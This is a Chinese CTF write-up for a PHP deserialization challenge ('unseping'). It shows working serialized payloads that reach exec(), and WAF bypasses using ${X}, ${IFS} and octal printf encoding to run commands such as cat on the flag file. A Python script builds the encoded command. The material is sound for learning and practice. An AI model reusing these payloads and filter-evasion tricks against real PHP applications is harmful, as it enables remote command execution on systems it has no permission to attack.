unseping
题目描述
进入场景
源代码分析,反序列化场景
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
1. 分析代码
POST传入参数ctf,且使用base64解码后反序列化传入。unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
ease类中,定义了两个私有变量和五个方法:
construct()为构造函数,定义类的初始化。
destruct()为析构函数,对象销毁前使用。
ping():exec()执行命令函数,var_dump()输出结果。
waf():preg_match_all()函数用于执行一个全局正则表达式匹配,可以搜索字符串中所有可以和正则表达式匹配的结果。源码中对“|、&、;、空格、/、cat、flag、tac、php、ls”进行匹配,若匹配到的结果为false就返回str。
wakeup()函数:使用foreach遍历字符串检测waf。执行unserialize()时,先会调用这个函数。
2. 编写PHP对应的序列化代码
(1)编写序列化测试代码
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('pwd'));
$b = serialize($a);
echo $b;
echo "<br>";
echo "<br>";
echo base64_encode($b);
?>
(2)对参数进行序列化和编码
(3)传入ctf
测试pwd成功请求,然后绕过正则获取flag路径。
3. 绕过正则
(1)ls绕过的方法有:空的环境变量 、单引号 、双引号
使用空的环境变量绕过
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:6:"l${X}s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtYfXMiO319
提示flag在“flag_1s_here”文件夹里面
(2)空格使用${IFS}来代替
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:28:"l${X}s${IFS}fl${X}ag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyODoibCR7WH1zJHtJRlN9Zmwke1h9YWdfMXNfaGVyZSI7fX0=
发现存在一个flag的文件flag_831b69012c67b35f.php
4. 进行转码
cat flag_1s_here/flag_831b69012c67b35f.php
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php
由于没找到绕过 ; 、& 和 \ 的方法,再搜索看看
(1)有提到“\154\163”可以代替ls
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:25:"$(printf${IFS}"\154\163")";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNToiJChwcmludGYke0lGU30iXDE1NFwxNjMiKSI7fX0=
是ls的ascii码转换成八进制
(2)按照这个思路,将“cat flag_1s_here/flag_831b69012c67b35f.php”进行转码
写了一个Python脚本对参数进行转码
x = "cat flag_1s_here/flag_831b69012c67b35f.php"
# print(str)
r = ""
for i in x:
r = r +'\\'+format(ord(i),'o')
print(r)
(3)传入转码后的参数
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:169:"$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
获取到flag
参考链接:https://blog.csdn.net/shelter1234567/article/details/127337541